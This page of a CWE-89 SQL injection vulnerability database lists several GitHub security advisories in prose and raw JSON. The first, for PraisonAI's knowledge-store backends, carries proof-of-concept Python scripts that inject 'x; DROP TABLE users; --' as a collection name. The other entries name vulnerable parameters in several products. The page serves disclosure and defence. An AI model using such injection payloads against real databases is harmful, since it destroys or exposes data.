Common Weakness Enumeration

CWE-89

Allowed

Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')

Abstraction: Base · Status: Stable

The product constructs all or part of an SQL command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended SQL command when it is sent to a downstream component. Without sufficient removal or quoting of SQL syntax in user-controllable inputs, the generated SQL query can cause those inputs to be interpreted as SQL instead of ordinary user data.

27488 vulnerabilities reference this CWE, most recent first.

GHSA-3643-7V76-5CJ2

Vulnerability from github – Published: 2026-05-11 13:57 – Updated: 2026-05-11 13:57

Summary

PraisonAI knowledge-store backends interpolate unvalidated collection names into SQL and CQL queries

Details

Summary

PraisonAI exposes optional SQL/CQL-backed knowledge-store implementations that build table and index identifiers from unvalidated name and collection arguments. Applications that pass untrusted collection names into these backends can trigger SQL or CQL injection.

Details

This issue affects the public persistence layer exported by persistence/init.py, which exposes KnowledgeStore and create_knowledge_store(). The factory wires the affected backends as supported knowledge-store providers in [persistence/factory.py](https://github.com/Users/shmulc/Stuff/tmp/first-cve/scans/variant-hunt/PraisonAI/src/praisonai/praisonai/persistence/factory.py:112):

pgvector at [persistence/factory.py](https://github.com/Users/shmulc/Stuff/tmp/first-cve/scans/variant-hunt/PraisonAI/src/praisonai/praisonai/persistence/factory.py:170)
cassandra at persistence/factory.py
singlestore_vector at persistence/factory.py

The common root cause is that the KnowledgeStore interface accepts free-form collection names in create_collection(), delete_collection(), insert(), upsert(), search(), get(), delete(), and count() at [persistence/knowledge/base.py](https://github.com/Users/shmulc/Stuff/tmp/first-cve/scans/variant-hunt/PraisonAI/src/praisonai/praisonai/persistence/knowledge/base.py:44), but the affected backends interpolate those values directly into query text instead of validating or quoting them.

Representative sinks:

SingleStoreVectorKnowledgeStore builds table_name = f"{self.table_prefix}{name}" and executes raw DDL in [persistence/knowledge/singlestore_vector.py](https://github.com/Users/shmulc/Stuff/tmp/first-cve/scans/variant-hunt/PraisonAI/src/praisonai/praisonai/persistence/knowledge/singlestore_vector.py:92). The same pattern is reused for delete_collection, insert, upsert, search, get, delete, and count.
PGVectorKnowledgeStore builds public.praison_vec_{collection} and idx_{name}_embedding directly into SQL in [persistence/knowledge/pgvector.py](https://github.com/Users/shmulc/Stuff/tmp/first-cve/scans/variant-hunt/PraisonAI/src/praisonai/praisonai/persistence/knowledge/pgvector.py:82).
CassandraKnowledgeStore interpolates name and collection directly into CREATE TABLE, DROP TABLE, INSERT, SELECT, DELETE, and COUNT statements in [persistence/knowledge/cassandra.py](https://github.com/Users/shmulc/Stuff/tmp/first-cve/scans/variant-hunt/PraisonAI/src/praisonai/praisonai/persistence/knowledge/cassandra.py:73).

There is already an internal identifier validator in the conversation persistence layer:

validate_identifier() only allows alphanumeric characters and underscores in [persistence/conversation/base.py](https://github.com/Users/shmulc/Stuff/tmp/first-cve/scans/variant-hunt/PraisonAI/src/praisonai/praisonai/persistence/conversation/base.py:18)

That validator is used for SQL identifiers such as table_prefix and schema in the conversation stores, but no equivalent validation is applied in the affected knowledge-store backends.

Version scope:

pgvector.py and cassandra.py were already present by v2.4.1
singlestore_vector.py was present by v2.4.3
the current PyPI release on May 1, 2026 is 4.6.33, and the same interpolation patterns are still present

Scope note for maintainers: I did not identify a built-in PraisonAI HTTP endpoint that forwards external request data into these specific persistence methods. The issue is in the package's public persistence APIs and affects applications that pass untrusted collection names to the affected backends.

PoC

The following local reproductions show that attacker-controlled collection names become part of the executed SQL text.

Reproduce the SingleStoreVectorKnowledgeStore.delete_collection() query construction:

python3 - <<'PY'
import importlib.util
import pathlib
import sys
import types

base = pathlib.Path("scans/variant-hunt/PraisonAI/src/praisonai/praisonai/persistence")

mods = {
    "praisonai": types.ModuleType("praisonai"),
    "praisonai.persistence": types.ModuleType("praisonai.persistence"),
    "praisonai.persistence.knowledge": types.ModuleType("praisonai.persistence.knowledge"),
}
for k, v in mods.items():
    v.__path__ = []
    sys.modules[k] = v

def load(name, path):
    spec = importlib.util.spec_from_file_location(name, path)
    mod = importlib.util.module_from_spec(spec)
    sys.modules[name] = mod
    spec.loader.exec_module(mod)
    return mod

load("praisonai.persistence.knowledge.base", base / "knowledge" / "base.py")
ss = load("praisonai.persistence.knowledge.singlestore_vector", base / "knowledge" / "singlestore_vector.py")

class FakeCursor:
    def __init__(self, parent): self.parent = parent
    def execute(self, query, params=None): self.parent.calls.append((query, params))
    def __enter__(self): return self
    def __exit__(self, *args): return False

class FakeConn:
    def __init__(self): self.calls = []
    def cursor(self): return FakeCursor(self)

store = ss.SingleStoreVectorKnowledgeStore()
store._initialized = True
store._conn = FakeConn()
store.delete_collection("x; DROP TABLE users; --")
print(store._conn.calls[-1][0].strip())
PY

Observed result:

DROP TABLE IF EXISTS praisonai_x; DROP TABLE users; --

Reproduce the PGVectorKnowledgeStore.create_collection() query construction:

python3 - <<'PY'
import importlib.util
import pathlib
import sys
import types

base = pathlib.Path("scans/variant-hunt/PraisonAI/src/praisonai/praisonai/persistence")

mods = {
    "praisonai": types.ModuleType("praisonai"),
    "praisonai.persistence": types.ModuleType("praisonai.persistence"),
    "praisonai.persistence.knowledge": types.ModuleType("praisonai.persistence.knowledge"),
}
for k, v in mods.items():
    v.__path__ = []
    sys.modules[k] = v

def load(name, path):
    spec = importlib.util.spec_from_file_location(name, path)
    mod = importlib.util.module_from_spec(spec)
    sys.modules[name] = mod
    spec.loader.exec_module(mod)
    return mod

load("praisonai.persistence.knowledge.base", base / "knowledge" / "base.py")

psycopg2 = types.ModuleType("psycopg2")
extras = types.ModuleType("psycopg2.extras")
pool = types.ModuleType("psycopg2.pool")
class DummyPool:
    def __init__(self, *a, **k): pass
    def getconn(self): return None
    def putconn(self, c): pass
pool.ThreadedConnectionPool = DummyPool
extras.RealDictCursor = object
psycopg2.pool = pool
sys.modules["psycopg2"] = psycopg2
sys.modules["psycopg2.pool"] = pool
sys.modules["psycopg2.extras"] = extras

pg = load("praisonai.persistence.knowledge.pgvector", base / "knowledge" / "pgvector.py")

class FakeCursor:
    def __init__(self, parent): self.parent = parent
    def execute(self, query, params=None): self.parent.calls.append((query, params))
    def __enter__(self): return self
    def __exit__(self, *args): return False

class FakeConn:
    def __init__(self): self.calls = []
    def cursor(self): return FakeCursor(self)
    def commit(self): pass

store = pg.PGVectorKnowledgeStore(auto_create_extension=False)
conn = FakeConn()
store._get_conn = lambda: conn
store._put_conn = lambda c: None
store.create_collection("x; DROP TABLE users; --", 3)
for query, _ in conn.calls:
    print(query.strip())
PY

Observed result includes:

CREATE TABLE IF NOT EXISTS public.praison_vec_x; DROP TABLE users; -- (
CREATE INDEX IF NOT EXISTS idx_x; DROP TABLE users; --_embedding

The Cassandra backend follows the same pattern in its CREATE TABLE, DROP TABLE, INSERT, SELECT, and DELETE statements.

Impact

This issue affects applications that use PraisonAI's optional SQL/CQL knowledge-store backends and pass untrusted collection names into them.

Potential impact depends on backend and driver behavior, but includes:

malformed queries and backend errors
access to unintended tables or indexes
execution of attacker-influenced SQL or CQL text where the backend/driver accepts the resulting statement shape

I did not confirm direct exposure through PraisonAI's built-in HTTP server surfaces, so this is best understood as a vulnerability in the package's public persistence APIs rather than a turnkey remote exploit in the default application server.

Severity

6.3 (Medium)


                  
                    CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L

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{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 4.6.33"
      },
      "package": {
        "ecosystem": "PyPI",
        "name": "PraisonAI"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.4.1"
            },
            {
              "fixed": "4.6.34"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-44337"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-20",
      "CWE-89"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-11T13:57:18Z",
    "nvd_published_at": "2026-05-08T14:16:46Z",
    "severity": "MODERATE"
  },
  "details": "### Summary\nPraisonAI exposes optional SQL/CQL-backed knowledge-store implementations that build table and index identifiers from unvalidated `name` and `collection` arguments. Applications that pass untrusted collection names into these backends can trigger SQL or CQL injection.\n\n### Details\nThis issue affects the public persistence layer exported by [persistence/__init__.py](/Users/shmulc/Stuff/tmp/first-cve/scans/variant-hunt/PraisonAI/src/praisonai/praisonai/persistence/__init__.py:1), which exposes `KnowledgeStore` and `create_knowledge_store()`. The factory wires the affected backends as supported knowledge-store providers in [[persistence/factory.py](https://github.com/Users/shmulc/Stuff/tmp/first-cve/scans/variant-hunt/PraisonAI/src/praisonai/praisonai/persistence/factory.py:112)](/Users/shmulc/Stuff/tmp/first-cve/scans/variant-hunt/PraisonAI/src/praisonai/praisonai/[persistence/factory.py](https://github.com/Users/shmulc/Stuff/tmp/first-cve/scans/variant-hunt/PraisonAI/src/praisonai/praisonai/persistence/factory.py:162):112):\n\n- `pgvector` at [[persistence/factory.py](https://github.com/Users/shmulc/Stuff/tmp/first-cve/scans/variant-hunt/PraisonAI/src/praisonai/praisonai/persistence/factory.py:170)](/Users/shmulc/Stuff/tmp/first-cve/scans/variant-hunt/PraisonAI/src/praisonai/praisonai/[persistence/factory.py](https://github.com/Users/shmulc/Stuff/tmp/first-cve/scans/variant-hunt/PraisonAI/src/praisonai/praisonai/persistence/factory.py:186):162)\n- `cassandra` at [persistence/factory.py](/Users/shmulc/Stuff/tmp/first-cve/scans/variant-hunt/PraisonAI/src/praisonai/praisonai/persistence/factory.py:170)\n- `singlestore_vector` at [persistence/factory.py](/Users/shmulc/Stuff/tmp/first-cve/scans/variant-hunt/PraisonAI/src/praisonai/praisonai/persistence/factory.py:186)\n\nThe common root cause is that the `KnowledgeStore` interface accepts free-form collection names in `create_collection()`, `delete_collection()`, `insert()`, `upsert()`, `search()`, `get()`, `delete()`, and `count()` at [[persistence/knowledge/base.py](https://github.com/Users/shmulc/Stuff/tmp/first-cve/scans/variant-hunt/PraisonAI/src/praisonai/praisonai/persistence/knowledge/base.py:44)](/Users/shmulc/Stuff/tmp/first-cve/scans/variant-hunt/PraisonAI/src/praisonai/praisonai/persistence/knowledge/base.py:44), but the affected backends interpolate those values directly into query text instead of validating or quoting them.\n\nRepresentative sinks:\n\n- `SingleStoreVectorKnowledgeStore` builds `table_name = f\"{self.table_prefix}{name}\"` and executes raw DDL in [[persistence/knowledge/singlestore_vector.py](https://github.com/Users/shmulc/Stuff/tmp/first-cve/scans/variant-hunt/PraisonAI/src/praisonai/praisonai/persistence/knowledge/singlestore_vector.py:92)](/Users/shmulc/Stuff/tmp/first-cve/scans/variant-hunt/PraisonAI/src/praisonai/praisonai/persistence/knowledge/singlestore_vector.py:92). The same pattern is reused for `delete_collection`, `insert`, `upsert`, `search`, `get`, `delete`, and `count`.\n- `PGVectorKnowledgeStore` builds `public.praison_vec_{collection}` and `idx_{name}_embedding` directly into SQL in [[persistence/knowledge/pgvector.py](https://github.com/Users/shmulc/Stuff/tmp/first-cve/scans/variant-hunt/PraisonAI/src/praisonai/praisonai/persistence/knowledge/pgvector.py:82)](/Users/shmulc/Stuff/tmp/first-cve/scans/variant-hunt/PraisonAI/src/praisonai/praisonai/persistence/knowledge/pgvector.py:82).\n- `CassandraKnowledgeStore` interpolates `name` and `collection` directly into `CREATE TABLE`, `DROP TABLE`, `INSERT`, `SELECT`, `DELETE`, and `COUNT` statements in [[persistence/knowledge/cassandra.py](https://github.com/Users/shmulc/Stuff/tmp/first-cve/scans/variant-hunt/PraisonAI/src/praisonai/praisonai/persistence/knowledge/cassandra.py:73)](/Users/shmulc/Stuff/tmp/first-cve/scans/variant-hunt/PraisonAI/src/praisonai/praisonai/persistence/knowledge/cassandra.py:73).\n\nThere is already an internal identifier validator in the conversation persistence layer:\n\n- `validate_identifier()` only allows alphanumeric characters and underscores in [[persistence/conversation/base.py](https://github.com/Users/shmulc/Stuff/tmp/first-cve/scans/variant-hunt/PraisonAI/src/praisonai/praisonai/persistence/conversation/base.py:18)](/Users/shmulc/Stuff/tmp/first-cve/scans/variant-hunt/PraisonAI/src/praisonai/praisonai/persistence/conversation/base.py:18)\n\nThat validator is used for SQL identifiers such as `table_prefix` and `schema` in the conversation stores, but no equivalent validation is applied in the affected knowledge-store backends.\n\nVersion scope:\n\n- `pgvector.py` and `cassandra.py` were already present by `v2.4.1`\n- `singlestore_vector.py` was present by `v2.4.3`\n- the current PyPI release on May 1, 2026 is `4.6.33`, and the same interpolation patterns are still present\n\nScope note for maintainers: I did not identify a built-in PraisonAI HTTP endpoint that forwards external request data into these specific persistence methods. The issue is in the package\u0027s public persistence APIs and affects applications that pass untrusted collection names to the affected backends.\n\n### PoC\nThe following local reproductions show that attacker-controlled collection names become part of the executed SQL text.\n\n1. Reproduce the `SingleStoreVectorKnowledgeStore.delete_collection()` query construction:\n\n```bash\npython3 - \u003c\u003c\u0027PY\u0027\nimport importlib.util\nimport pathlib\nimport sys\nimport types\n\nbase = pathlib.Path(\"scans/variant-hunt/PraisonAI/src/praisonai/praisonai/persistence\")\n\nmods = {\n    \"praisonai\": types.ModuleType(\"praisonai\"),\n    \"praisonai.persistence\": types.ModuleType(\"praisonai.persistence\"),\n    \"praisonai.persistence.knowledge\": types.ModuleType(\"praisonai.persistence.knowledge\"),\n}\nfor k, v in mods.items():\n    v.__path__ = []\n    sys.modules[k] = v\n\ndef load(name, path):\n    spec = importlib.util.spec_from_file_location(name, path)\n    mod = importlib.util.module_from_spec(spec)\n    sys.modules[name] = mod\n    spec.loader.exec_module(mod)\n    return mod\n\nload(\"praisonai.persistence.knowledge.base\", base / \"knowledge\" / \"base.py\")\nss = load(\"praisonai.persistence.knowledge.singlestore_vector\", base / \"knowledge\" / \"singlestore_vector.py\")\n\nclass FakeCursor:\n    def __init__(self, parent): self.parent = parent\n    def execute(self, query, params=None): self.parent.calls.append((query, params))\n    def __enter__(self): return self\n    def __exit__(self, *args): return False\n\nclass FakeConn:\n    def __init__(self): self.calls = []\n    def cursor(self): return FakeCursor(self)\n\nstore = ss.SingleStoreVectorKnowledgeStore()\nstore._initialized = True\nstore._conn = FakeConn()\nstore.delete_collection(\"x; DROP TABLE users; --\")\nprint(store._conn.calls[-1][0].strip())\nPY\n```\n\nObserved result:\n\n```text\nDROP TABLE IF EXISTS praisonai_x; DROP TABLE users; --\n```\n\n2. Reproduce the `PGVectorKnowledgeStore.create_collection()` query construction:\n\n```bash\npython3 - \u003c\u003c\u0027PY\u0027\nimport importlib.util\nimport pathlib\nimport sys\nimport types\n\nbase = pathlib.Path(\"scans/variant-hunt/PraisonAI/src/praisonai/praisonai/persistence\")\n\nmods = {\n    \"praisonai\": types.ModuleType(\"praisonai\"),\n    \"praisonai.persistence\": types.ModuleType(\"praisonai.persistence\"),\n    \"praisonai.persistence.knowledge\": types.ModuleType(\"praisonai.persistence.knowledge\"),\n}\nfor k, v in mods.items():\n    v.__path__ = []\n    sys.modules[k] = v\n\ndef load(name, path):\n    spec = importlib.util.spec_from_file_location(name, path)\n    mod = importlib.util.module_from_spec(spec)\n    sys.modules[name] = mod\n    spec.loader.exec_module(mod)\n    return mod\n\nload(\"praisonai.persistence.knowledge.base\", base / \"knowledge\" / \"base.py\")\n\npsycopg2 = types.ModuleType(\"psycopg2\")\nextras = types.ModuleType(\"psycopg2.extras\")\npool = types.ModuleType(\"psycopg2.pool\")\nclass DummyPool:\n    def __init__(self, *a, **k): pass\n    def getconn(self): return None\n    def putconn(self, c): pass\npool.ThreadedConnectionPool = DummyPool\nextras.RealDictCursor = object\npsycopg2.pool = pool\nsys.modules[\"psycopg2\"] = psycopg2\nsys.modules[\"psycopg2.pool\"] = pool\nsys.modules[\"psycopg2.extras\"] = extras\n\npg = load(\"praisonai.persistence.knowledge.pgvector\", base / \"knowledge\" / \"pgvector.py\")\n\nclass FakeCursor:\n    def __init__(self, parent): self.parent = parent\n    def execute(self, query, params=None): self.parent.calls.append((query, params))\n    def __enter__(self): return self\n    def __exit__(self, *args): return False\n\nclass FakeConn:\n    def __init__(self): self.calls = []\n    def cursor(self): return FakeCursor(self)\n    def commit(self): pass\n\nstore = pg.PGVectorKnowledgeStore(auto_create_extension=False)\nconn = FakeConn()\nstore._get_conn = lambda: conn\nstore._put_conn = lambda c: None\nstore.create_collection(\"x; DROP TABLE users; --\", 3)\nfor query, _ in conn.calls:\n    print(query.strip())\nPY\n```\n\nObserved result includes:\n\n```text\nCREATE TABLE IF NOT EXISTS public.praison_vec_x; DROP TABLE users; -- (\nCREATE INDEX IF NOT EXISTS idx_x; DROP TABLE users; --_embedding\n```\n\nThe Cassandra backend follows the same pattern in its `CREATE TABLE`, `DROP TABLE`, `INSERT`, `SELECT`, and `DELETE` statements.\n\n### Impact\nThis issue affects applications that use PraisonAI\u0027s optional SQL/CQL knowledge-store backends and pass untrusted collection names into them.\n\nPotential impact depends on backend and driver behavior, but includes:\n\n- malformed queries and backend errors\n- access to unintended tables or indexes\n- execution of attacker-influenced SQL or CQL text where the backend/driver accepts the resulting statement shape\n\nI did not confirm direct exposure through PraisonAI\u0027s built-in HTTP server surfaces, so this is best understood as a vulnerability in the package\u0027s public persistence APIs rather than a turnkey remote exploit in the default application server.",
  "id": "GHSA-3643-7v76-5cj2",
  "modified": "2026-05-11T13:57:18Z",
  "published": "2026-05-11T13:57:18Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-3643-7v76-5cj2"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-44337"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/MervinPraison/PraisonAI"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L",
      "type": "CVSS_V3"
    }
  ],
  "summary": "PraisonAI knowledge-store backends interpolate unvalidated collection names into SQL and CQL queries"
}

GHSA-3645-FCRM-R5V6

Vulnerability from github – Published: 2022-05-24 17:41 – Updated: 2022-05-24 17:41

Details

doFilter in com.adventnet.appmanager.filter.UriCollector in Zoho ManageEngine Applications Manager through 14930 allows an authenticated SQL Injection via the resourceid parameter to showresource.do.

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{
  "affected": [],
  "aliases": [
    "CVE-2020-35765"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-89"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2021-02-05T14:15:00Z",
    "severity": "HIGH"
  },
  "details": "doFilter in com.adventnet.appmanager.filter.UriCollector in Zoho ManageEngine Applications Manager through 14930 allows an authenticated SQL Injection via the resourceid parameter to showresource.do.",
  "id": "GHSA-3645-fcrm-r5v6",
  "modified": "2022-05-24T17:41:11Z",
  "published": "2022-05-24T17:41:11Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2020-35765"
    },
    {
      "type": "WEB",
      "url": "https://www.manageengine.com"
    },
    {
      "type": "WEB",
      "url": "https://www.manageengine.com/products/applications_manager/issues.html#v15000"
    },
    {
      "type": "WEB",
      "url": "https://www.manageengine.com/products/applications_manager/security-updates/security-updates-cve-2020-35765.html"
    },
    {
      "type": "WEB",
      "url": "https://www.tenable.com/security/research/tra-2021-02"
    }
  ],
  "schema_version": "1.4.0",
  "severity": []
}

GHSA-364J-8JM7-F886

Vulnerability from github – Published: 2022-05-13 01:08 – Updated: 2022-05-13 01:08

Details

Multiple SQL injection vulnerabilities in the get_sample_filters_by_signature function in Cumin before 0.1.5444, as used in Red Hat Enterprise Messaging, Realtime, and Grid (MRG) 2.0, allow remote attackers to execute arbitrary SQL commands via the (1) agent or (2) object id.

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{
  "affected": [],
  "aliases": [
    "CVE-2012-2684"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-89"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2012-09-28T17:55:00Z",
    "severity": "HIGH"
  },
  "details": "Multiple SQL injection vulnerabilities in the get_sample_filters_by_signature function in Cumin before 0.1.5444, as used in Red Hat Enterprise Messaging, Realtime, and Grid (MRG) 2.0, allow remote attackers to execute arbitrary SQL commands via the (1) agent or (2) object id.",
  "id": "GHSA-364j-8jm7-f886",
  "modified": "2022-05-13T01:08:39Z",
  "published": "2022-05-13T01:08:39Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2012-2684"
    },
    {
      "type": "WEB",
      "url": "http://bugzilla.redhat.com/bugzilla/show_bug.cgi?id=830245"
    },
    {
      "type": "WEB",
      "url": "http://lists.fedoraproject.org/pipermail/package-announce/2012-November/092543.html"
    },
    {
      "type": "WEB",
      "url": "http://lists.fedoraproject.org/pipermail/package-announce/2012-November/092562.html"
    },
    {
      "type": "WEB",
      "url": "http://rhn.redhat.com/errata/RHSA-2012-1278.html"
    },
    {
      "type": "WEB",
      "url": "http://rhn.redhat.com/errata/RHSA-2012-1281.html"
    },
    {
      "type": "WEB",
      "url": "http://secunia.com/advisories/50660"
    },
    {
      "type": "WEB",
      "url": "http://www.securityfocus.com/bid/55618"
    }
  ],
  "schema_version": "1.4.0",
  "severity": []
}

GHSA-365X-5GG7-66QG

Vulnerability from github – Published: 2024-02-06 21:30 – Updated: 2024-04-09 09:31

Details

A vulnerability, which was classified as critical, was found in Beijing Baichuo Smart S20 Management Platform up to 20231120. This affects an unknown part of the file /sysmanage/sysmanageajax.php. The manipulation of the argument id leads to sql injection. It is possible to initiate the attack remotely. The exploit has been disclosed to the public and may be used. The identifier VDB-252993 was assigned to this vulnerability. NOTE: The vendor was contacted early about this disclosure but did not respond in any way.

Severity

4.7 (Medium)


                  
                    CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:L/I:L/A:L

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{
  "affected": [],
  "aliases": [
    "CVE-2024-1254"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-89"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-02-06T19:15:09Z",
    "severity": "MODERATE"
  },
  "details": "A vulnerability, which was classified as critical, was found in Beijing Baichuo Smart S20 Management Platform up to 20231120. This affects an unknown part of the file /sysmanage/sysmanageajax.php. The manipulation of the argument id leads to sql injection. It is possible to initiate the attack remotely. The exploit has been disclosed to the public and may be used. The identifier VDB-252993 was assigned to this vulnerability. NOTE: The vendor was contacted early about this disclosure but did not respond in any way.",
  "id": "GHSA-365x-5gg7-66qg",
  "modified": "2024-04-09T09:31:10Z",
  "published": "2024-02-06T21:30:26Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-1254"
    },
    {
      "type": "WEB",
      "url": "https://github.com/rockersiyuan/CVE/blob/main/Smart%20S20.md"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/?ctiid.252993"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/?id.252993"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/?submit.274042"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:L/I:L/A:L",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-366G-CG6R-XMP2

Vulnerability from github – Published: 2024-05-14 18:30 – Updated: 2025-02-20 18:31

Details

A vulnerability, which was classified as critical, was found in Campcodes Online Laundry Management System 1.0. Affected is an unknown function of the file /manage_laundry.php. The manipulation of the argument id leads to sql injection. It is possible to launch the attack remotely. The exploit has been disclosed to the public and may be used. The identifier of this vulnerability is VDB-263892.

Severity

6.3 (Medium)


                  
                    CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L

5.3 (Medium)


                  
                    CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N

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{
  "affected": [],
  "aliases": [
    "CVE-2024-4793"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-89"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-05-14T15:44:46Z",
    "severity": "MODERATE"
  },
  "details": "A vulnerability, which was classified as critical, was found in Campcodes Online Laundry Management System 1.0. Affected is an unknown function of the file /manage_laundry.php. The manipulation of the argument id leads to sql injection. It is possible to launch the attack remotely. The exploit has been disclosed to the public and may be used. The identifier of this vulnerability is VDB-263892.",
  "id": "GHSA-366g-cg6r-xmp2",
  "modified": "2025-02-20T18:31:14Z",
  "published": "2024-05-14T18:30:57Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-4793"
    },
    {
      "type": "WEB",
      "url": "https://github.com/yylmm/CVE/blob/main/Online%20Laundry%20Management%20System/sql_manage_laundry.md"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/?ctiid.263892"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/?id.263892"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/?submit.332535"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-366H-QH6H-R996

Vulnerability from github – Published: 2022-05-17 00:38 – Updated: 2022-05-17 00:38

Details

SQL injection vulnerability in hotel_habitaciones.php in Venalsur Booking Centre Booking System for Hotels Group 2.01 allows remote attackers to execute arbitrary SQL commands via the HotelID parameter.

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{
  "affected": [],
  "aliases": [
    "CVE-2008-6809"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-89"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2009-05-18T12:00:00Z",
    "severity": "HIGH"
  },
  "details": "SQL injection vulnerability in hotel_habitaciones.php in Venalsur Booking Centre Booking System for Hotels Group 2.01 allows remote attackers to execute arbitrary SQL commands via the HotelID parameter.",
  "id": "GHSA-366h-qh6h-r996",
  "modified": "2022-05-17T00:38:07Z",
  "published": "2022-05-17T00:38:07Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2008-6809"
    },
    {
      "type": "WEB",
      "url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/46913"
    },
    {
      "type": "WEB",
      "url": "https://www.exploit-db.com/exploits/7253"
    },
    {
      "type": "WEB",
      "url": "http://secunia.com/advisories/32430"
    },
    {
      "type": "WEB",
      "url": "http://www.securityfocus.com/bid/32512"
    }
  ],
  "schema_version": "1.4.0",
  "severity": []
}

GHSA-366Q-4W6V-FVW8

Vulnerability from github – Published: 2025-09-08 21:31 – Updated: 2025-09-08 21:31

Details

A weakness has been identified in code-projects Online Event Judging System 1.0. This impacts an unknown function of the file /home.php. Executing manipulation of the argument main_event can lead to sql injection. The attack may be performed from remote. The exploit has been made available to the public and could be exploited.

Severity

7.3 (High)


                  
                    CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L

5.5 (Medium)


                  
                    CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P

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{
  "affected": [],
  "aliases": [
    "CVE-2025-10103"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-74",
      "CWE-89"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-09-08T19:15:34Z",
    "severity": "MODERATE"
  },
  "details": "A weakness has been identified in code-projects Online Event Judging System 1.0. This impacts an unknown function of the file /home.php. Executing manipulation of the argument main_event can lead to sql injection. The attack may be performed from remote. The exploit has been made available to the public and could be exploited.",
  "id": "GHSA-366q-4w6v-fvw8",
  "modified": "2025-09-08T21:31:00Z",
  "published": "2025-09-08T21:31:00Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-10103"
    },
    {
      "type": "WEB",
      "url": "https://github.com/yihaofuweng/cve/issues/16"
    },
    {
      "type": "WEB",
      "url": "https://code-projects.org"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/?ctiid.323069"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/?id.323069"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/?submit.645298"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-3672-P885-V7RV

Vulnerability from github – Published: 2022-05-17 04:12 – Updated: 2022-05-17 04:12

Details

SQL injection vulnerability in the Spider Contacts module for Drupal allows remote authenticated users with the "access Spider Contacts category administration" permission to execute arbitrary SQL commands via unspecified vectors.

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{
  "affected": [],
  "aliases": [
    "CVE-2015-4348"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-89"
    ],
